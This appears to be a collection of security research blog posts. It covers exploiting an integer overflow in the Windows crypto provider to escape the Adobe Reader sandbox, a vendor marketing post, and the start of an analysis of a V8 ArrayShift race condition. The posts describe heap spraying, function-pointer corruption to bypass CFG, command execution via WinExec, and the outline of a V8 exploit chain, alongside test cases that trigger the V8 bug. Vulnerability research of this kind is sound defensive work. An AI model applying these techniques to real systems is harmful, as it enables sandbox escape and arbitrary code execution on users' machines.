In order to reach the vulnerable code, it is required that the key to import has more than 0x70 bytes [6]. The vulnerability occurs due to an integer overflow that happens at [7] due to a lack of checking the values at addresses (unsigned int)((uint8_t*)key + 0x14) and (unsigned int)((uint8_t*)key + 0x10). For example if one of these members is set to 0xffffffff, an integer overflow occurs. The vulnerability is triggered when the memcpy() routine is called to copy (unsigned int)((uint8_t*)key + 0x10) bytes from key + 0x70 into v16 + 0xc8 at [9].

An example of an opaque blob that triggers the vulnerability is the following: if key + 0x10 is set to 0x120 and key + 0x14 equals 0xffffff00, then it leads to allocating 0x120 + 0xffffff00 + 0xc8 + 0x08 = 0xf0 bytes of buffer, into which 0x120 bytes are copied. The integer overflow allows bypassing a weak check, at [8], which requires the key length to be greater than: 0x120 + 0xffffff00 + 0x70 = 0x90.

Exploitation

The goal of exploiting this vulnerability is to escape the Adobe sandbox in order to execute arbitrary code on the system with the privileges of the broker process. It is assumed that code execution is already possible in the Adobe sandbox.

Exploit Strategy

The Adobe broker exposes cross-calls such as CryptImportKey() to the sandboxed process. The vulnerability can be triggered by importing a crafted key into the Crypto Provider Service, implemented in rsaenh.dll. The vulnerability yields an out-of-bounds write primitive in the broker, which can be easily used to corrupt function pointers. However, Adobe Reader enables a large number of security features including ASLR and Control Flow Guard (CFG), which effectively prevent ROP chains from being used directly to gain control of the execution flow.
 
The exploitation strategy described in this section involves bypassing CFG by abusing a certain design element of the Microsoft Crypto Provider. In particular, the interface that redirects code flow according to function pointers stored in the HCRYPTPROV object.
  

CryptSP – Context Object

HCRYPTPROV is the object instantiated and used by CryptSP.dll to dispatch calls to the right provider. It can be instantiated via the CryptAcquireContext() API, that returns an instantiated HCRYPTPROV object.

HCRYPTPROV is a basic C structure containing function pointers to the provider exposed routine. In this way, calling CryptSP.dll:CryptImportKey() executes HCRYPTPROV->FunctionPointer() that corresponds to provider.dll:CPImportKey().

The HCRYPTPROV data structure is shown below:

				
					Offset      Length (bytes)    Field                   Description
---------   --------------    --------------------    ----------------------------------------------
0x00        8                 CPAcquireContext          Function pointer exposed by Crypto Provider
0x08        8                 CPReleaseContext          Function pointer exposed by Crypto Provider
0x10        8                 CPGenKey                  Function pointer exposed by Crypto Provider
0x18        8                 CPDeriveKey               Function pointer exposed by Crypto Provider
0x20        8                 CPDestroyKey              Function pointer exposed by Crypto Provider
0x28        8                 CPSetKeyParam             Function pointer exposed by Crypto Provider
0x30        8                 CPGetKeyParam             Function pointer exposed by Crypto Provider
0x38        8                 CPExportKey               Function pointer exposed by Crypto Provider
0x40        8                 CPImportKey               Function pointer exposed by Crypto Provider
0x48        8                 CPEncrypt                 Function pointer exposed by Crypto Provider
0x50        8                 CPDecrypt                 Function pointer exposed by Crypto Provider
0x58        8                 CPCreateHash              Function pointer exposed by Crypto Provider
0x60        8                 CPHashData                Function pointer exposed by Crypto Provider
0x68        8                 CPHashSessionKey          Function pointer exposed by Crypto Provider
0x70        8                 CPDestroyHash             Function pointer exposed by Crypto Provider
0x78        8                 CPSignHash                Function pointer exposed by Crypto Provider
0x80        8                 CPVerifySignature         Function pointer exposed by Crypto Provider
0x88        8                 CPGenRandom               Function pointer exposed by Crypto Provider
0x90        8                 CPGetUserKey              Function pointer exposed by Crypto Provider
0x98        8                 CPSetProvParam            Function pointer exposed by Crypto Provider
0xa0        8                 CPGetProvParam            Function pointer exposed by Crypto Provider
0xa8        8                 CPSetHashParam            Function pointer exposed by Crypto Provider
0xb0        8                 CPGetHashParam            Function pointer exposed by Crypto Provider
0xb8        8                 Unknown                   Unknown
0xc0        8                 CPDuplicateKey            Function pointer exposed by Crypto Provider
0xc8        8                 CPDuplicateHash           Function pointer exposed by Crypto Provider
0xd0        8                 Unknown                   Unknown
0xd8        8                 CryptoProviderHANDLE      Crypto Provider library base address
0xe0        8                 EncryptedCryptoProvObj    Crypto Provider object's encrypted pointer
0xe8        4                 Const Val                 Constant value set to 0x11111111
0xec        4                 Const Val                 Constant value set to 0x1
0xf0        4                 Const Val                 Constant value set to 0x1
				
			
CryptSP dispatch using HCRYPTPROV

When a CryptSP.dll API is invoked the HCRYPTPROV object is used to dispatch the flow to the right provider routine. At offset 0xe0 the HCRYPTPROV object contains the real provider object that is used internally in the provider routines. When CryptSP.dll dispatches the call to the provider it passes the real provider object contained at HCRYPTOPROV + 0xe0 as the first argument.

				
					// CryptSP.dll

BOOL __stdcall CryptImportKey(
        HCRYPTPROV hProv,
        const BYTE *pbData,
        DWORD dwDataLen,
        HCRYPTKEY hPubKey,
        DWORD dwFlags,
        HCRYPTKEY *phKey)
{

[Truncated]

[1]

    if ( (*(__int64 (__fastcall **)(_QWORD, const BYTE *, _QWORD, __int64, DWORD, HCRYPTKEY *))(hProv + 0x40))(
           *(_QWORD *)(hProv + 0xE0),
           pbData,
           dwDataLen,
           v13,
           dwFlags,
           phKey) )
    {
        if ( (dwFlags &amp; 8) == 0 )
        {
            v9[11] = *phKey;
            *phKey = (HCRYPTKEY)v9;
            v9[10] = hProv;
            *((_DWORD *)v9 + 24) = 572662306;
        }
        v8 = 1;
    }

[Truncated]

}
				
			

At [1], we see an example how CryptSP.dll dispatches the code to the provider:CPImportKey() routine.

Crypto Provider Abuse

The Crypto Providers’ interface uses the HCRYPTPROV object to redirect the execution flow to the right Crypto Provider API. When the interface redirects the execution flow it sets the encrypted pointer located at HCRYPTPROV + 0xe0 as the first argument. Therefore, by overwriting the function pointer and the encrypted pointer, an attacker can redirect the execution flow while controlling the first argument.

Adobe Acrobat – CryptGenRandom abuse to identify corrupted objects

The Adobe Acrobat broker provides the CryptGenRandom() cross-call to the sandbox. If the CPGenRandom() function pointer has been overwritten with a function having a predictable return value different from the return value of the original CryptGenRandom() function, then it is possible to determine that a HCRYPTPROV object has been overwritten.

For example, if a pointer to the absolute value function, ntdll!abs, is used to override the CPGenRandom() function pointer, the broker executes abs(HCRYPTPROV + 0xe0) instead of CPGenRandom(). Therefore, by setting a known value at HCRYPTPROV + 0xe0, this cross-call can be abused by an attacker to identify whether the HCRYPTPROV object has been overwritten by checking if its return value is abs(<known value>).

Adobe Acrobat – CryptReleaseContext abuse to execute commands

The Adobe Acrobat broker provides the CryptReleaseContext() cross-call to the sandbox. This cross-call ends up calling CPReleaseContext(HCRYPTPROV + 0xe0, 0). By overwriting the CPReleaseContext() function pointer in HCRYPTPROV with WinExec() and by overwriting HCRYPTPROV + 0xe0 with a previously corrupted HCRYPTPROV object, one can execute WinExec with an arbitrary lpCmdLine argument, thereby executing arbitrary commands.

Shared Memory Structure – overwriting contiguous HCRYPTPROV objects.

In the following we describe the shared memory structure and more specifically how arguments for cross-calls are stored. The layout of the shared memory structure is relevant when the integer overflow is used to overwrite the function pointers in contiguous HCRYPTPROV objects.

The share memory structure is shown below:

				
					Field                   Description
--------------------    --------------------------------------------------------------
Shared Memory Header    Contains main shared memory information like channel numbers.
Channel 0 Header        Contains main channel information like Event handles.
Channel 1 Header        Contains main channel information like Event handles.
...
Channel N Header        Contains main channel information like Event handles.
Channel 0               Channel memory zone, where the request/response is written.
Channel 1               Channel memory zone, where the request/response is written.
...
Channel N               Channel memory zone, where the request/response is written.
				
			

The shared memory main header is shown below:

				
					Offset      Length (bytes)    Field                   Description
---------   --------------    --------------------    -------------------------------------------
0x00           0x04           Channel number          Contains the number of channels available.
0x04           0x04           Unknown                 Unknown
0x08           0x08           Mutant HANDLE           Unknown
				
			

The channel main header data structure is shown below. The offsets are relative to the channel main header.

				
					Offset      Length (bytes)    Field                   Description
---------   --------------    --------------------    -------------------------------------------
0x00           0x08           Channel offset          Offset to the channel memory region for
                                                      storing/reading request relative to share
                                                      memory base address.
0x08           0x08           Channel state           Value representing the state of the channel:
                                                      1 Free, 2 in use by sandbox, 3 in use by broker.
0x10           0x08           Event Ping Handle       Event used by sandbox to signal broker that
                                                      there is a request in the channel.
0x18           0x08           Event Pong Handle       Event used by broker to signal sandbox that
                                                      there is a response in the channel.
0x20           0x08           Event Handle            Unknown
				
			

Since the shared memory is 2MB and the header is 0x10 bytes long and every channel header is 0x28 bytes long, every channel takes (2MB - 0x10 - N*0x28) / N bytes.

The shared memory channels are used to store the serialization of the cross-call input parameters and return values. Every channel memory region, located at shared_memory_address + channel_main_header[i].channel_offset, is implemented as the following data structure:

				
					Offset      Length (bytes)    Field                   Description
---------   --------------    --------------------    -----------------------------------------------
0x00           0x04           Tag ID                  Tag ID is used by the broker to dispatch the
                                                      request to the exposed cross-call.
0x04           0x04           In Out                  Boolean, if set the broker copy-back in the
                                                      channel the content of the arguments after the
                                                      cross-call. It is used when parameters are
                                                      output parameters, e.g. GetCurrentDirectory().
0x08           0x08           Unknown                 Unknown
0x10           0x04           Error Code              Windows Last Error set by the broker after the
                                                      cross-call to inform sandbox about error status.
0x14           0x04           Status                  Broker sets to 1 if the cross-call has been
                                                      executed otherwise it sets to 0.
0x18           0x08           HANDLE                  Handle returned by the cross call
0x20           0x04           Return Code             Exposed cross-call return value.
0x24           0x3c           Unknown                 Unknown
0x60           0x04           Args Number             Number of argument present in the cross-call
                                                      emitted by the sandbox.
0x64           0x04           Unknown                 Unknown
0x68           Variable       Arguments               Data structure representing every argument
[ Truncated ]
				
			

At most 20 arguments can be set for a request but only the required arguments need to be specified. It means that if the cross-call requires two arguments then Args Number will be set to 2 and the Arguments data structure contains two elements of the Argument type. Every argument uses the following data structure:

				
					Offset     Length (bytes)    Field                   Description
---------  --------------    --------------------    --------------------------------------------------
0x0        4                 Argument type           Integer representing the argument type.
0x4        4                 Argument offset         Offset relative to the channel address, i.e. Tag
                                                     ID address, used to localize the argument value in the channel self
0x8        4                 Argument size           The argument's size.
				
			

Each of the argument data structures must be followed by another one that contains only the offset field filled with an offset greater than the last valid argument’s offset plus its own size, i.e argument[n].offset + argument[n].size + 1. Therefore, if a cross-call needs two arguments then three arguments must be set: two representing the valid arguments to pass to the cross-call and the third set to where the arguments end.

Shown below is an example of the arguments in a two-argument cross-call:

				
					Offset         Length (bytes)    Field
---------      --------------    --------------------
0x68           4                 Argument 0 type
0x6c           4                 Argument 0 offset
0x70           4                 Argument 0 size
0x74           4                 Argument 1 type
0x78           4                 Argument 1 offset
0x7c           4                 Argument 1 size
0x80           4                 Not Used
0x84           4                 Argument 1 offset + Argument 1 size + 1: 0x90 + N + M + 1
0x8c           4                 Not Used
0x90           N                 Argument 0 value
0x90 + N       M                 Argument 1 value
				
			
An Argument can be one of the following types:
				
					Argument type       Argument name         Description
--------------      ------------------    -------------------------------------------------------------
0x01                WCHAR String          Specify a wide string.
0x02                DWORD                 Specify an int 32 bits argument.
0x04                QWORD                 Specify an int 64 bits argument.
0x05                INPTR                 Specify an input pointer, already instantiated on the broker.
0x06                INOUTPTR              Specify an argument treated like a pointer in the cross-call
                                          handler. It is used as input or  output, i.e. return to the
                                          sandbox a broker valid memory pointer.
0x07                ASCII String          Specify an ascii string argument.
0x08                0x18 Bytes struct     Specify a structure long 0x18 bytes.
				
			

When an argument is of the INOUTPTR type (intended to be used for all non-primitive data types), then the cross-call handler treats it in the following way:

  1. Allocates 16 bytes where the first 8 bytes contain the argument size and the last 8 bytes the pointer received.
  2. If the argument is an input pointer for the final API then it is checked to be valid against a list of valid pointers before passing it as a parameter for the final API.
  3. If the argument is an output pointer for the final API then the pointer is allocated and filled by the final API.
  4. If the INOUT cross-call type is true then the pointer address is copied back to the sandbox.

Exploit Phases

The exploit consists of the following phases:

  1. Heap spraying – The sandbox process cross-calls CryptAcquireContext() N times in order to allocate multiple heap chunks of 0x100 bytes. The broker’s heap layout after the spray is shown below.
Broker heap layout after spray
  1. Abuse Adobe Acrobat design – Since the HCRYPTPTROV object is passed as a parameter to CryptAcquireContext() the pointer must be returned to the sandbox in order to allow using it for operations with Crypto Providers in the broker context. Because of this feature it is possible to find contiguous HCRYPTPROV objects.
  2. Holes creation – Releasing the contiguous chunks in an alternate way.
Creating holes in the broker process heap
  1. Import malicious key – The sandbox process cross-calls CryptImportKey() multiple times with a maliciously crafted key. It is expected that the key overflows into the next chunk, i.e. an HCRYPTPROV object. The overflow overwrites the initial bytes of the HCRYPTPROV object with a command string, CPGenRandom() with the address of ntdll!abs, and HCRYPTPROV + 0xe0 with a known value.
Overwriting the first HCRYPTPROV object
  1. Find overwritten object – The sandbox process cross-calls CryptGenRandom(). If it returns the known value then ntdll!abs() has been executed and the overwritten object has been found.
  2. Import malicious key – The sandbox process cross-calls CryptImportKey() multiple times with a maliciously crafted key. It is expected that the key overflows the next chunk, i.e. an HCRYPTPROV object. The overflow overwrites CPReleaseContext() with kernel32:WinExec(), CPGenRandom() with the address of ntdll!abs, and HCRYPTPROV + 0xe0 with the pointer to the object found in step 5.
Overwriting an HCRYPTPROV object a second time
  1. Find overwritten object – The sandbox process cross-calls CryptGenRandom(). If it returns the absolute value of the pointer found in step 5 then ntdll!abs() has been executed and the overwritten object has been found.
  2. Trigger – The sandbox process cross-calls CryptReleaseContext() on the HCRYPTPROV object found in step 7 to trigger WinExec().

Wrapping Up

We hope you enjoyed reading this. If you are hungry for more make sure to check our other blog posts.

The post Escaping Adobe Sandbox: Exploiting an Integer Overflow in Microsoft Windows Crypto Provider appeared first on Exodus Intelligence.

Why Choose Exodus Intelligence for Enhanced Vulnerability Management? 

16 May 2023 at 14:00

In the contemporary digital landscape, vulnerability management teams and analysts are overwhelmed by countless alerts, data streams, and patch recommendations. The sheer volume of information is daunting and frequently misleading. Ideally, the systems generating these alerts should streamline and prioritize the information. While AI systems and products are not yet mature enough to effectively filter out the noise, the solution still lies with humans—particularly, the experts who can accurately identify what’s critical and advise where to concentrate limited resources.  That’s where Exodus Intelligence comes in. Exodus focuses on investigating the vulnerabilities that matter, helping teams to reduce efforts on unnecessary alerting while focusing attention on critical and immediate areas of concern. 

 EXPERTISE IN (UN)EXPLOITABILITY 

 The threat landscape is diverse, ranging from payloads and malware to exploits and vulnerabilities. At Exodus, we target the root of the issue—the vulnerabilities. However, not just any vulnerability catches our attention. We dedicate our expertise to uncovering, analyzing, and documenting the most critical vulnerabilities within realistic, enterprise-level products that are genuinely exploitable. This emphasis on exploitability is intentional and pivotal. The intelligence we offer guides our customers towards becoming UN-EXPLOITABLE. 

 UNRIVALED TALENT POOL 

Exodus has fostered a culture over more than a decade that attracts and nurtures white hat hackers. We employ some of the world’s most advanced reverse engineers to conduct research for our customers, providing them with actionable intelligence and leading-edge insights to harden their network. Our relentless efforts are geared towards staying at the forefront of leading techniques and skills essential to outpace the world’s most advanced adversaries. Understanding and defending against a hacker necessitates a hacker’s mindset and skill set, which is precisely what we employ and offer. 

 RESPECTED INDUSTRY STANDING 

 Our team has won pwn2own competitions, authored books, and trained the most advanced teams worldwide. Our expertise and research have been relied upon by the United States and allied nations’ agencies for years, establishing a global reputation for us as one of the most advanced, mature, and reputable teams in this field. 

 PRECISE DETECTION 

 Exodus researchers dedicate weeks or even months to delve deep into the code to discover unknown vulnerabilities and analyze known (patched) vulnerability root causes. Our researchers develop an in-depth understanding of every vulnerability we report, often surpassing the knowledge of the developers themselves. The mitigation and detection guidance we provide ensures the accurate detection and mitigation of vulnerabilities, eliminating false positives. We don’t merely attempt to catch the exploit; we actually do. 

 EXCEPTIONAL VALUE 

 We have a dedicated team of over 30 researchers from across the globe, focusing solely on vulnerability research. In many companies, professionals and security engineers tasked with managing vulnerabilities and threats often have to deal with tasks outside their core competency. Now, imagine leveraging the expertise and output of 30 researchers dedicated to vulnerability research, all for the price of ONE cybersecurity engineer. Need we say more?… 

 Become the next forward-thinking business to join our esteemed customer list by filling out this form:

ABOUT EXODUS INTELLIGENCE 

Exodus Intelligence detects the undetectable.  Exodus discovers, analyzes and proves N-Day and Zero-Day vulnerabilities in our secure lab and provides our research to credentialed customers through our secure portal or API.  

Exodus’ Zero-Day Subscription provides customers with critically exploitable vulnerability reports, unknown to the public, affecting widely used and relied upon software, hardware, and embedded devices.   

Exodus’ N-Day Subscription provides customers with analysis of critically exploitable vulnerability reports, known to the public, affecting widely used and relied upon software, hardware, and embedded devices.   

Customers gain access to a proprietary library of N-Day and Zero-Day vulnerability reports in addition to proof of concepts and highly enriched vulnerability intelligence packages. These Vulnerability Intelligence packages, unavailable anywhere else, enable customers to reduce their mean time to detect and mitigate critically exploitable vulnerabilities.  Exodus enables customers to focus resources on establishing defenses against the most serious threats to your enterprise for less than the cost of a single cybersecurity engineer. 

For more information on our products and how we can help your vulnerability efforts, visit www.exodusintel.com or contact [email protected] for further discussion.

The post <strong>Why Choose Exodus Intelligence for Enhanced Vulnerability Management? </strong> appeared first on Exodus Intelligence.

Google Chrome V8 ArrayShift Race Condition Remote Code Execution

16 May 2023 at 22:36

By Javier Jimenez

Overview

This post describes a method of exploiting a race condition in the V8 JavaScript engine, version 9.1.269.33. The vulnerability affects the following versions of Chrome and Edge:

  • Google Chrome versions between 90.0.4430.0 and 91.0.4472.100.
  • Microsoft Edge versions between 90.0.818.39 and 91.0.864.41.

The vulnerability occurs when one of the TurboFan jobs generates a handle to an object that is being modified at the same time by the ArrayShift built-in, resulting in a use-after-free (UaF) vulnerability. Unlike traditional UaFs, this vulnerability occurs within garbage-collected memory (UaF-gc). The bug lies within the ArrayShift built-in, as it lacks the necessary checks to prevent modifications on objects while other TurboFan jobs are running.

This post assumes the reader is familiar with all the elementary concepts needed to understand V8 internals and general exploitation. The references section contains links to blogs and documentation that describe prerequisite concepts such as TurboFan, Generational Garbage Collection, and V8 JavaScript Objects’ in-memory representation.

Table of Contents

The Vulnerability

When the ArrayShift built-in is called on an array object via Array.prototype.shift(), the length and starting address of the array may be changed while a compilation and optimization (TurboFan) job in the Inlining phase executes concurrently. When TurboFan reduces an element access of this array in the form of array[0], the function ReduceElementLoadFromHeapConstant() is executed on a different thread. This element access points to the address of the array being shifted via the ArrayShift built-in. If the ReduceElementLoadFromHeapConstant() function runs just before the shift operation is performed, it results in a dangling pointer. This is because Array.prototype.shift()frees” the object to which the compilation job still “holds” a reference. Both “free” and “hold” are not 100% accurate terms in this garbage collection context, but they serve the purpose of explaining the vulnerability conceptually. Later we describe these actions more accurately as “creating a filler object” and “creating a handler” respectively.

ReduceElementLoadFromHeapConstant() is a function that is called when TurboFan tries to optimize code that loads a value from the heap, such as array[0]. Below is an example of such code:

				
					function main() {
  let arr = new Array(500).fill(1.1);

  function load_elem() {
    let value = arr[0];
    for (let v19 = 0; v19 ﹤ 1500; v19++) {}
  }

  for (let i = 0; i ﹤ 500; i++) {
    load_elem();
  }
}
main();

				
			

By running the code above in the d8 shell with the command ./d8 --trace-turbo-reduction we observe, that the JSNativeContextSpecialization optimization, to which ReduceElementLoadFromHeapConstant() function belongs to, kicks in on node #27 by taking node #57 as its first input. Node #57  is the node for the array arr:

				
					$ ./d8 --trace-opt --trace-turbo-reduction /tmp/loadaddone.js
[TRUNCATED]
- Replacement of #13: JSLoadContext[0, 2, 1](3, 7) with #57: HeapConstant[0x234a0814848d ﹤JSArray[500]﹥] by reducer JSContextSpecialization
- Replacement of #27: JSLoadProperty[sloppy, FeedbackSource(#0)](57, 23, 4, 3, 28, 24, 22) with #64: CheckFloat64Hole[allow-return-hole, FeedbackSource(INVALID)](63, 63, 22) by reducer JSNativeContextSpecialization
[TRUNCATED]

				
			

Therefore, executing the Array.prototype.shift() method on the same array, arr, during the execution of the aforementioned TurboFan job may trigger the vulnerability. Since this is a race condition, the vulnerability may not trigger reliably. The reliability depends on the resources available for the V8 engine to use.

The following is a minimal JavaScript test case that triggers a debug check on a debug build of d8:

				
					function main() {
  let arr = new Array(500).fill(1.1);

  function bug() {

// [1]

    let a = arr[0];

// [2]
    
    arr.shift();
    for (let v19 = 0; v19 &lt; 1500; v19++) {}
  }

// [3]

  for (let i = 0; i &lt; 500; i++) {
    bug();
  }
}

main();
				
			

The loop at [3] triggers the compilation of the bug() function since it’s a “hot” function. This starts a concurrent compilation job for the function where [1] will force a call to ReduceElementLoadFromHeapConstant(), to reduce the load at index 0 for a constant value. While TurboFan is running on a different thread, the main thread executes the shift operation on the same array [2], modifying it. However, this minimized test case does not trigger anything further than an assertion (via DCHECK) on debug builds. Although the test case executes without fault on a release build, it is sufficient to understand the rest of the analysis.

The following numbered steps show the order of execution of code that results in the use-after-free. The end result, at step 8, is the TurboFan thread pointing to a freed object:

Steps in use-after-free
Triggering the race condition

In order to achieve a dangling pointer, let’s figure out how each thread holds a reference in V8’s code.

Reference from the TurboFan Thread

Once the TurboFan job is fired, the following code will get executed:

				
					// src/compiler/js-native-context-specialization.cc 

Reduction JSNativeContextSpecialization::ReduceElementLoadFromHeapConstant(
    Node* node, Node* key, AccessMode access_mode,
    KeyedAccessLoadMode load_mode) {

[TRUNCATED]

  HeapObjectMatcher mreceiver(receiver);
  HeapObjectRef receiver_ref = mreceiver.Ref(broker());

[TRUNCATED]

[1]

  NumberMatcher mkey(key);
  if (mkey.IsInteger() &&;
      mkey.IsInRange(0.0, static_cast(JSObject::kMaxElementIndex))) {
    STATIC_ASSERT(JSObject::kMaxElementIndex &lt;= kMaxUInt32);
    const uint32_t index = static_cast(mkey.ResolvedValue());
    base::Optional element;

    if (receiver_ref.IsJSObject()) {

[2]

      element = receiver_ref.AsJSObject().GetOwnConstantElement(index);

[TRUNCATED]  
				
			

Since this reduction is done via ReducePropertyAccess() there is an initial check at [1] to know whether the access to be reduced is actually in the form of an array index access and whether the receiver is a JavaScript object. After that is verified, the GetOwnConstantElement() method is called on the receiver object at [2] to retrieve a constant element from the calculated index.

				
					// src/compiler/js-heap-broker.cc

base::Optional﹤ObjectRef﹥ JSObjectRef::GetOwnConstantElement(
    uint32_t index, SerializationPolicy policy) const {

[3]

  if (data_-&gt;should_access_heap() || FLAG_turbo_direct_heap_access) {

[TRUNCATED]

[4]

    base::Optional﹤FixedArrayBaseRef﹥ maybe_elements_ref = elements();

[TRUNCATED]

				
			

The code at [3] verifies whether the current caller should access the heap. The verification passes since the reduction is for loading an element from the heap. The flag FLAG_turbo_direct_heap_access is enabled by default. Then, at [4] the elements() method is called with the intention of obtaining a reference to the elements of the receiver object (the array). The  elements() method is shown below:

				
					// src/compiler/js-heap-broker.cc
base::Optional JSObjectRef::elements() const {
  if (data_-&gt;should_access_heap()) {

[5]

    return FixedArrayBaseRef(
        broker(), broker()-&gt;CanonicalPersistentHandle(object()-&gt;elements()));
  }

[TRUNCATED]

// File: src/objects/js-objects-inl.h
DEF_GETTER(JSObject, elements, FixedArrayBase) {
  return TaggedField::load(cage_base, *this);
}
				
			

Further down the call stack, elements() will call CanonicalPersistentHandle() with a reference to the elements of the receiver object, denoted by object()->elements() at [5]. This elements() method call is different than the previous. This one directly accesses the heap and returns the pointer within the V8 heap. It accesses the same pointer object in memory as the ArrayShift built-in.

Finally, CanonicalPersistentHandle() will create a Handle reference. Handles in V8 are objects that are exposed to the JavaScript environment. The most notable property is that they are tracked by the garbage collector.

				
					// File: src/compiler/js-heap-broker.h

  template ﹤typename T﹥
  Handle﹤T﹥ CanonicalPersistentHandle(T object) {
    if (canonical_handles_) {

[TRUNCATED]

    } else {

[6]

      return Handle﹤T﹥(object, isolate());
    }
  }
				
			

The Handle created at [6] is now exposed to the JavaScript environment and a reference is held while the compilation job is being executed. At this point, if any other parts of the process modify the reference, for example, forcing a free on it, the TurboFan job will hold a dangling pointer. Exploiting the vulnerability relies on this behavior. In particular, knowing the precise point when the TurboFan job runs allows us to keep the bogus pointer within our reach.

Reference from the Main Thread (ArrayShift Built-in)

Once the code depicted in the previous section is running and it passes the point where the Handle to the array was created, executing the ArrayShift JavaScript function on the same array triggers the vulnerability. The following code is executed:

				
					// File: src/builtins/builtins-array.cc

BUILTIN(ArrayShift) {
  HandleScope scope(isolate);

  // 1. Let O be ? ToObject(this value).
  Handle receiver;

[1]

  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
      isolate, receiver, Object::ToObject(isolate, args.receiver()));

[TRUNCATED]

  if (CanUseFastArrayShift(isolate, receiver)) {

[2]

    Handle array = Handle::cast(receiver);
    return *array-&gt;GetElementsAccessor()-&gt;Shift(array);
  }

[TRUNCATED]

}
				
			

At [1], the receiver object (arr in the original JavaScript test case) is assigned to the receiver variable via the ASSIGN_RETURN_FAILURE_ON_EXCEPTION macro. It then uses this receiver variable [2] to create a new Handle of the JSArray type in order to call the Shift() function on it.

Conceptually, the shift operation on an array performs the following modifications to the array in the V8 heap:

ArrayShift operation on an Array of length 8

Two things change in memory: the pointer that denotes the start of the array is incremented, and the first element is overwritten by a filler object (which we referred to as “freed”). The filler is a special type of object described further below. With this picture in mind, we can continue the analysis with a clear view of what is happening in the code.

Prior to any manipulations of the array object, the following function calls are executed, passing the array (now of Handle<JSArray> type) as an argument:

				
					// File: src/objects/elements.cc

  Handle﹤Object﹥ Shift(Handle﹤JSArray﹥ receiver) final {

[3]

    return Subclass::ShiftImpl(receiver);
  }

[TRUNCATED]

  static Handle﹤Object﹥ ShiftImpl(Handle﹤JSArray﹥ receiver) {

[4]

    return Subclass::RemoveElement(receiver, AT_START);
  }

[TRUNCATED]

static Handle﹤Object﹥ RemoveElement(Handle﹤JSArray﹥ receiver,
                                      Where remove_position) {

[TRUNCATED]

[5]

    Handle﹤FixedArrayBase﹥ backing_store(receiver-﹥elements(), isolate);

[TRUNCATED]

    if (remove_position == AT_START) {

[6]

      Subclass::MoveElements(isolate, receiver, backing_store, 0, 1, new_length,
                             0, 0);
    }

[TRUNCATED]

}
				
			

Shift() at [3] simply calls ShiftImpl(). Then, ShiftImpl() at [4] calls RemoveElement(), passing the index as a second argument within the AT_START variable. This is to depict the shift operation, reminding us that it deletes the first object (index position 0) of an array.

Within the RemoveElement() function, the elements() function from the src/objects/js-objects-inl.h file is called again on the same receiver object and a Handle is created and stored in the backing_store variable. At [5] we see how the reference to the same object as the previous TurboFan job is created.

Finally, a call to MoveElements() is made [6] in order to perform the shift operation.

				
					// File: src/objects/elements.cc

  static void MoveElements(Isolate* isolate, Handle﹤JSArray﹥ receiver,
                           Handle﹤FixedArrayBase﹥ backing_store, int dst_index,
                           int src_index, int len, int hole_start,
                           int hole_end) {
    DisallowGarbageCollection no_gc;

[7]

    BackingStore dst_elms = BackingStore::cast(*backing_store);
    if (len ﹥ JSArray::kMaxCopyElements && dst_index == 0 &&

[8]

        isolate-﹥heap()-﹥CanMoveObjectStart(dst_elms)) {
      dst_elms = BackingStore::cast(

[9]

          isolate-﹥heap()-﹥LeftTrimFixedArray(dst_elms, src_index));

[TRUNCATED]
				
			

In MoveElements(), the variables dst_index and src_index hold the values 0 and 1 respectively, since the shift operation will shift all the elements of the array from index 1, and place them starting at index 0, effectively removing position 0 of the array. It starts by casting the backing_store variable to a BackingStore object and storing it in the dst_elms variable [7]. This is done to execute the CanMoveObjectStart() function, which checks whether the array can be moved in memory [8]. 

This check function is where the vulnerability resides. The function does not check whether other compilation jobs are running. If such a check passes, dst_elms (the reference to the elements) of the target array, will be passed onto LeftTrimFixedArray(), which will perform modifying operations on it.

				
					// File: src/heap/heap.cc

[10]

bool Heap::CanMoveObjectStart(HeapObject object) {
  if (!FLAG_move_object_start) return false;

  // Sampling heap profiler may have a reference to the object.
  if (isolate()-﹥heap_profiler()-﹥is_sampling_allocations()) return false;

  if (IsLargeObject(object)) return false;

  // We can move the object start if the page was already swept.
  return Page::FromHeapObject(object)-﹥SweepingDone();
}
				
			

In a vulnerable V8 version, we can see that while the CanMoveObjectStart() function at [10] checks for things such as the profiler holding references to the object or the object being a large object, the function does not contain any checks for concurrent compilation jobs. Therefore all checks will pass and the function will return True, leading to the LeftTrimFixedArray() function call with dst_elms as the first argument.

				
					// File: src/heap/heap.cc

FixedArrayBase Heap::LeftTrimFixedArray(FixedArrayBase object,
                                        int elements_to_trim) {

[TRUNCATED]

  const int element_size = object.IsFixedArray() ? kTaggedSize : kDoubleSize;
  const int bytes_to_trim = elements_to_trim * element_size;

[TRUNCATED]

[11]

  // Calculate location of new array start.
  Address old_start = object.address();
  Address new_start = old_start + bytes_to_trim;

[TRUNCATED]

[12]

  CreateFillerObjectAt(old_start, bytes_to_trim,
                       MayContainRecordedSlots(object)
                           ? ClearRecordedSlots::kYes
                           : ClearRecordedSlots::kNo);

[TRUNCATED]

#ifdef ENABLE_SLOW_DCHECKS
  if (FLAG_enable_slow_asserts) {
    // Make sure the stack or other roots (e.g., Handles) don't contain pointers
    // to the original FixedArray (which is now the filler object).
    SafepointScope scope(this);
    LeftTrimmerVerifierRootVisitor root_visitor(object);
    ReadOnlyRoots(this).Iterate(&root_visitor);

[13]

    IterateRoots(&root_visitor, {});
  }
#endif  // ENABLE_SLOW_DCHECKS

[TRUNCATED]
}
				
			

At [11] the address of the object, given as the first argument to the function, is stored in the old_start variable. The address is then used to create a Fillerobject [12]. Fillers, in garbage collection, are a special type of object that serves the purpose of denoting a free space without actually freeing it, but with the intention of ensuring that there is a contiguous space of objects for a garbage collection cycle to iterate over. Regardless, a Filler object denotes a free space that can later be reclaimed by other objects. Therefore, since the compilation job also has a reference to this object’s address, the optimization job now points to a Filler object which, after a garbage collection cycle, will be a dangling pointer.

For completion, the marker at [13] shows the place where debug builds would bail out. The IterateRoots() function takes a variable created from the initial object (dst_elms) as an argument, which is now a Filler, and checks whether there is any other part in V8 that is holding a reference to it. In the case there is a running compilation job holding said reference, this function will crash the process on debug builds.

Exploitation

Exploiting this vulnerability involves the following steps:

  • Triggering the vulnerability by creating an Array barr and forcing a compilation job at the same time as the ArrayShift built-in is called.
  • Triggering a garbage collection cycle in order to reclaim the freed memory with Array-like objects, so that it is possible to corrupt their length.
  • Locating the corrupted array and a marker object to construct the addrof, read, and write primitives.
  • Creating and instantiating a wasm instance with an exported main function, then overwriting the main exported function’s shellcode.
  • Finally, calling the exported main function, running the previously overwritten shellcode.

